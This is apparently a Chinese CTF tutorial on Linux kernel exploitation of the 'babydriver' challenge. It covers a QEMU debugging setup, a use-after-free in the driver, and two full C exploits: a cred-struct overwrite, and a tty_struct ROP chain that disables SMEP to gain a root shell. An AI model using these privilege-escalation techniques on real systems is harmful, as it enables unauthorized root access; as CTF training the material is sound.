内核环境搭建:

这里建议用qemu+gdb环境来调试,并且建议使用Ubuntu14.04,所需要的东西有:

  • qemu
  • busybox

其中busybox的作用是构建一个简单的文件系统和命令,以此配合内核的启动。

编译内核:

1.安装依赖:

sudo apt-get update
sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils libssl-dev bc qemu qemu-system

2. 下载源码:

https://mirrors.edge.kernel.org/pub/linux/kernel/

3. 解压后设置:

在源码目录:

make menuconfig

4. 内核生成:

make bzImage

生成的bzImage在/arch/x86/boot/下,vmlinux在源码根目录,前者为压缩内核,后者为静态编译,未经压缩的kernel。

编译busybox:

1. 下载:

https://busybox.net/downloads/busybox-1.30.0.tar.bz2

2. 解压后设置:

make menuconfig

进设置后,勾上Build static binary (no shared libs)

3. 编译:

make install -j4

4. 打包、内核初始化:

cd _install
mkdir proc
mkdir sys
touch init
chmod +x init
touch packet

init中内核初始化:

#!/bin/sh
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
# insmod /xxx.ko
mdev -s # We need this to find /dev/sda later
setsid /bin/cttyhack setuidgid 1000 /bin/sh #normal user
# exec /bin/sh #root

insmod为加载指定内核,如果加了-s则为调试选项。

packet中写入,文件打包:

#!/bin/sh
find . | cpio -o --format=newc > ./rootfs.img

实战熟悉kernel pwn流程:

用CISCN里的babydriver来练手,了解整个流程:

三个文件,rootfs.cpio代表前面所说的文件命令系统,也就是磁盘。需要解压,解压有特殊的解压方法,需要先用gunzip,但是gunzip认后缀不认文件格式,所以需要重命名下文件格式:

mkdir driver
cd driver
mv ../rootfs.cpio rootfs.cpio.gz
gunzip ./rootfs.cpio.gz
cpio -idmv < rootfs.cpio

当更改了其中的文件的时候,需要重新打包一下:

find . | cpio -o --format=newc > rootfs.cpio

boot.sh文件是qemu的启动脚本:

#!/bin/bash

qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep -gdb tcp::1234
  • -initrd 指定一个硬盘镜像文件
  • -kernel 指定内核镜像
  • -append 附加选项,指定no kaslr可以关闭随机偏移
  • -m 指定内存大小
  • -cpu 设置cpu安全选项,这里开启了smep保护
  • -smp 设置内核数和线程数
  • -s 和上面的-gdb tcp::1234相同,即-s是他的缩写,不需要重复写

接下来进入解压出来的硬盘文件里看看,主要看init文件,该文件是内核启动时的设置:

#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0  -f

其中insmod就是所加载的驱动babydriver.ko,我们所要利用的就是这个文件。所以需要我们从上面所示的文件夹中把这个驱动提取出来。为了方便后续的调试我们需要将setsid cttyhack setuidgid 1000 sh改为值时0的root权限。

以上就是初期所需要做的所有工作。接下来开始按pwn的常规思路来解。

babyioctl:

__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
  size_t v3; // rdx
  size_t v4; // rbx
  __int64 result; // rax

  _fentry__(filp, *(_QWORD *)&command);
  v4 = v3;
  if ( command == 0x10001 )
  {
    kfree(babydev_struct.device_buf);
    babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
    babydev_struct.device_buf_len = v4;
    printk("alloc done\n");
    result = 0LL;
  }
  else
  {
    printk(&unk_2EB);
    result = -22LL;
  }
  return result;
}

该ioctl函数是驱动的核心函数,当参数为0x10001时,释放babydev结构体的缓冲区,并重新分配一个大小为第二参数值的空间。

babyopen:

int __fastcall babyopen(inode *inode, file *filp)
{
  _fentry__(inode, filp);
  babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 64LL);
  babydev_struct.device_buf_len = 64LL;
  printk("device open\n");
  return 0;
}

使用open时创建一个64大小的缓存块,初始化了babydev结构体。

babyrelease:

int __fastcall babyrelease(inode *inode, file *filp)
{
  _fentry__(inode, filp);
  kfree(babydev_struct.device_buf);
  printk("device release\n");
  return 0;
}

关闭时释放babydev的缓冲区。

babywrite:

ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx

  _fentry__(filp, buffer);
  if ( !babydev_struct.device_buf )
    return -1LL;
  result = -2LL;
  if ( babydev_struct.device_buf_len > v4 )
  {
    v6 = v4;
    copy_from_user();
    result = v6;
  }
  return result;
}

write函数先判断写入个数的值是否大于babydev的最大长度,否则成功写入。

babyread:

ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx

  _fentry__(filp, buffer);
  if ( !babydev_struct.device_buf )
    return -1LL;
  result = -2LL;
  if ( babydev_struct.device_buf_len > v4 )
  {
    v6 = v4;
    copy_to_user(buffer);
    result = v6;
  }
  return result;
}

也是babywrite一样的正常检查。

这里如果按正常思路来想是很难发现有漏洞的,关键就出在结构体容量就一个,所以如果后续又open了一个驱动,那么后来的驱动就会覆盖掉前者的驱动。如果free掉前者,那么后者就成了一个悬挂指针,产生UAF漏洞。

如何利用这个UAF,那么必须得知道cred这个结构体,可以通过cred来提权。

cred结构体:

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
    kuid_t      uid;        /* real UID of the task */
    kgid_t      gid;        /* real GID of the task */
    kuid_t      suid;       /* saved UID of the task */
    kgid_t      sgid;       /* saved GID of the task */
    kuid_t      euid;       /* effective UID of the task */
    kgid_t      egid;       /* effective GID of the task */
    kuid_t      fsuid;      /* UID for VFS ops */
    kgid_t      fsgid;      /* GID for VFS ops */
    unsigned    securebits; /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;  /* caps we're permitted */
    kernel_cap_t    cap_effective;  /* caps we can actually use */
    kernel_cap_t    cap_bset;   /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char   jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key  *process_keyring; /* keyring private to this process */
    struct key  *thread_keyring; /* keyring private to this thread */
    struct key  *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;  /* subjective LSM security */
#endif
    struct user_struct *user;   /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;  /* supplementary groups for euid/fsgid */
    struct rcu_head rcu;        /* RCU deletion hook */
};

该结构体记录了进程的权限,每一个进程中都有一个cred结构体,如果修改了这个cred结构体那么也就修改了权限。得知cred结构体大小可以自己计算,或者直接调试利用sizeof查看大小,每个内核版本的cred大小都不同。

那么如何修改该结构体,当然用write函数,因为该处有UAF漏洞,那么让cred结构体出现在UAF处即可用write直接修改cred。该怎么让cred出现在此处,答案是新建一个cred,那么就可以用fork函数产生一个新进程,新进程就会创建一个新的cred了,所以我们就有如下的思路:

  1. open一个驱动
  2. 再open一个驱动,覆盖第一个
  3. free第一个驱动,malloc一个大小为cred大小的空间,产生UAF
  4. fork一个新进程,让新进程的cred恰好在上面所malloc的空间中
  5. 利用babywrite向第二个驱动写,相当于修改cred结构体,提权

这里主要提一下调试的时候的注意点:

gdb起:

gdb ./vmlinux -q

这里如果没有vmlinux文件,可以利用extract-vmlinux提取:

./extract-vmlinux ./bzImage > vmlinux

这里还需要导入驱动文件的符号表:

add-symbol-file ./***.ko 0xFFFFFFFFFFFFFF

后面的地址为.text段的地址,可以直接从qemu中查看:

/ # cat proc/modules 
babydriver 16384 0 - Live 0xffffffffc0000000 (OE)
或
/ # cat sys/module/babydriver/sections/.text 
0xffffffffc0000000

查看都需要root权限,所以之前要求调试的时候将权限改为root。

之后的断点就可以直接用符号下断。

EXP:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
int main(){
    int fd1 = open("/dev/babydev",2);
    int fd2 = open("/dev/babydev",2);

    int a = ioctl(fd1,0x10001,0xa8);

    close(fd1);
    int pid = fork();                 //创建新进程
    if(pid < 0){
        printf("error!");
        exit(0);
    }
    else if(pid == 0){
        char b[30] = {0};
        write(fd2,b,30);              //修改cred的uid为root
        if(getuid() == 0){
             system("/bin/sh");
             exit(0);
        }
    }
    else{
        wait(NULL);
    }

    return 0;
}

提权:

第二种解法(bypass smep):

第一种方法比较难想,虽然看样子很简单,但是第二种解法就属于比较常规的了。因为该内核开启了smep保护,所以我们可以想办法绕过该保护来达到提权。该保护的作用是当 CPU 处于 ring0 模式时,执行 用户空间的代码 会触发页错误。

如何绕过:

因为系统是根据cr4寄存器的第20位来判断内核是否开启了smep,为1时开启,为0时关闭,所以绕过方法就是将第20位置0,但是该寄存器的值无法直接查看,只能通过kernel crash时产生的信息查看:

mov cr4,0x6f0

如何提取该rop:

因为vmlinux未经压缩,所以可以通过vmlinux来提取rop:

ROPgadget —binary ./vmlinux > g2

或用ropper

ropper --file ./vmlinux --nocolor > g1

该方法利用的是一个蛮有意思的一个结构体,为tty_struct

struct tty_struct {
    int magic;
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops;     < -- 这里
    int index;
    /* Protects ldisc changes: Lock tty not pty */
    struct ld_semaphore ldisc_sem;
    struct tty_ldisc *ldisc;
    struct mutex atomic_write_lock;
    struct mutex legacy_mutex;
    struct mutex throttle_mutex;
    struct rw_semaphore termios_rwsem;
    struct mutex winsize_mutex;
    spinlock_t ctrl_lock;
    spinlock_t flow_lock;
    /* Termios values are protected by the termios rwsem */
    struct ktermios termios, termios_locked;
    struct termiox *termiox;    /* May be NULL for unsupported */
    char name[64];
    struct pid *pgrp;       /* Protected by ctrl lock */
    struct pid *session;
    unsigned long flags;
    int count;
    struct winsize winsize;     /* winsize_mutex */
    unsigned long stopped:1,    /* flow_lock */
              flow_stopped:1,
              unused:BITS_PER_LONG - 2;
    int hw_stopped;
    unsigned long ctrl_status:8,    /* ctrl_lock */
              packet:1,
              unused_ctrl:BITS_PER_LONG - 9;
    unsigned int receive_room;  /* Bytes free for queue */
    int flow_change;
    struct tty_struct *link;
    struct fasync_struct *fasync;
    wait_queue_head_t write_wait;
    wait_queue_head_t read_wait;
    struct work_struct hangup_work;
    void *disc_data;
    void *driver_data;
    spinlock_t files_lock;      /* protects tty_files list */
    struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
    int closing;
    unsigned char *write_buf;
    int write_cnt;
    /* If the tty has a pending do_SAK, queue it here - akpm */
    struct work_struct SAK_work;
    struct tty_port *port;
} __randomize_layout;

其中有一个很有用的结构体tty_operations

struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver,
            struct file *filp, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty,
              const unsigned char *buf, int count);
    int  (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    int  (*write_room)(struct tty_struct *tty);
    int  (*chars_in_buffer)(struct tty_struct *tty);
    int  (*ioctl)(struct tty_struct *tty,
            unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty,
                 unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty,
            unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
    int (*get_icount)(struct tty_struct *tty,
                struct serial_icounter_struct *icount);
    void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
    int (*poll_init)(struct tty_driver *driver, int line, char *options);
    int (*poll_get_char)(struct tty_driver *driver, int line);
    void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
    int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

其中有着许多的函数指针,所以说对于我们构造rop来说就非常有用。

  • 如何调用这个结构体?

open("/dev/ptmx", O_RDWR)时会创建一个tty_struct。

  • 如何使用tty_operations中的函数指针?

往上面所open的文件中write就会调用其中的int (*write)(struct tty_struct * tty,const unsigned char *buf, int count);函数,依次类推。

所以我们该如何去构造呢。根据上文的UAF利用可以很容易想到,我们一样可以利用UAF构造大小和tty_struct一样的空间去存储新建的tty_struct,从而达到修改tty结构体的效果,并且自行构造出tty_operations,修改其中的函数为我们的rop,从而在调用函数时成功劫持程序流到我们所构造的rop中。

先构造修改const struct tty_operations *ops;为fake_tty_operations:

int fd3 = open("/dev/ptmx",O_RDWR|O_NOCTTY);

    unsigned long fake_tty_str[3] = {0};
    read(fd2,fake_tty_str,32);            //读取前三组,保证和原先一样
    fake_tty_str[3] = fake_tty_opera;     //修改为fake_tty_operations
    //printf("fake_tty_opera:%x",fake_tty_opera);
    write(fd2,fake_tty_str,32);

这里我们利用修改write来劫持程序流,write通过上面查得在第八组的位置,所以我们在第八组的位置构造上我们的rop,但是这里有一个问题就是,当劫持到我们rop时,此时的栈不是我们所构造的栈,是内核态的栈,我们没办法继续执行下去:

我起初这样构造fake_tty_opera

unsigned long fake_tty_opera[30] = {
        0xffffffff810d238d,  // pop rdi ; ret
        0x6f0,
        0xffffffff81004d80,  // mov cr4, rdi ; pop rbp ; ret
        0,
        0xffffffff8100ce6e,  // pop rax ; ret
        rop,
        0xFFFFFFFF8181BFC5,
        0xffffffff8100ce6e,  // pop rax ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
    };

当执行write函数时,会跳转到0xffffffff8100ce6e处的fake_write执行,此时的状态如下:

此时需要我们把内核态的栈转化到我们构造的rop中去,因为此时rax寄存器中存储着我们所构造的fake_tty_opera,所以可以使用:

mov rsp,rax
xchg rsp,rax

来将栈转换到用户态来,如此可以自由构造rop。我们来栈回溯看看情况:

当我们调用write的时候,会执行到我们构造的fake_tty_opera中的write函数偏移为8组的位置:

可以很容易从上面看出程序的执行流程。

所以把rop改改,改成这样:

unsigned long fake_tty_opera[30] = {
        0xffffffff810d238d,  // pop rdi ; ret
        0x6f0,
        0xffffffff81004d80,  // mov cr4, rdi ; pop rbp ; ret
        0,
        0xffffffff8100ce6e,  // pop rax ; ret
        rop,
        0xFFFFFFFF8181BFC5,
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
    };

即可转换内核态栈到用户态。

因为fake_tty_opera可供我们利用的空间太小,所以我们需要跳出去重新构造一个大空间的rop链。上面的rop已经完成了cr4寄存器的更改,即关闭了smep保护。接下来rop所要做的任务就是调用commit_creds(prepare_kernel_cred(0))函数来提权。这里因为已经关闭了smep所以可以直接用ret2usr方法来提权,后面构造的rop如下:

unsigned long rop[30] = {
        getroot,
        0xffffffff81063694,  // swapgs ; pop rbp ; ret
        0,
        0xffffffff814e35ef,  // iretq; ret;
        getshell,
        user_cs,
        user_flag,
        user_rsp,
        user_ss
    };

这里需要注意的是这部分的rop和上部分的rop的栈也是不同的,所以在上部分的rop中也是需要栈迁移到第二部分的rop栈中去。接下来就是常规的getroot权限后,从内核态返回用户态再执行getshell的操作。这里有一个坑点就是:

不能将unsigned long rop[30]设置为unsigned long rop[]
不然会出现数组里的内容发生改变的效果,具体像这样:

但是执行完dec ebx之后就变为:

导致执行到getroot函数时执行的并不是真实地址,发生crash。但是我一直没弄明白为什么一个只对ebx寄存器产生影响的汇编句就把rop中的内容给改变了。但是限定上数组空间大小后就不会发生这样的情况。如有明白的请告诉我,感激不尽。

该方法主要介绍如何利用tty_struct利用UAF,并且利用tty_struct去bypass-smep保护,劫持程序流。不懂后面介绍的rop构造没关系,可以在下一篇文章中得到详细解答。

EXP:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

unsigned long user_cs,user_ss,user_rsp,user_flag;
unsigned long prepare_kernel_cred = 0xffffffff810a1810;
unsigned long commit_creds = 0xffffffff810a1420;

void save_state(){
    __asm__(
            "mov user_cs,cs;"
            "mov user_ss,ss;"
            "mov user_rsp,rsp;"
            "pushf;"
            "pop user_flag;"
           );
    puts("[*] save the state success!");
}

void getshell(){
    system("/bin/sh");
}

void getroot(){
    char* (*pkc)(int) = prepare_kernel_cred;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
}

int main(){

    save_state();

    unsigned long rop[] = {                                                   //状态转化,getshell
        getroot,
        0xffffffff81063694,  // swapgs ; pop rbp ; ret
        0,
        0xffffffff814e35ef,  // iretq; ret;
        getshell,
        user_cs,
        user_flag,
        user_rsp,
        user_ss
    };

    unsigned long fake_tty_opera[30] = {                                               //伪造的tty_opera
        0xffffffff810d238d,  // pop rdi ; ret
        0x6f0,
        0xffffffff81004d80,  // mov cr4, rdi ; pop rbp ; ret
        0,
        0xffffffff8100ce6e,  // pop rax ; ret
        rop,
        0xFFFFFFFF8181BFC5,
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
    };

    int fd1 = open("/dev/babydev",2);
    int fd2 = open("/dev/babydev",2);

    ioctl(fd1,0x10001,0x2e0);

    //printf("rop:%x",rop);
    close(fd1);

    int fd3 = open("/dev/ptmx",O_RDWR|O_NOCTTY);

    unsigned long fake_tty_str[3] = {0};
    read(fd2,fake_tty_str,32);
    fake_tty_str[3] = fake_tty_opera;                                   //修改tty_struct
    //printf("fake_tty_opera:%x",fake_tty_opera);
    write(fd2,fake_tty_str,32);

    write(fd3,"V1NKe",5);                                   //触发rop

    return 0;
}

提权:

参考链接:

点击收藏 | 0 关注 | 1
登录 后跟帖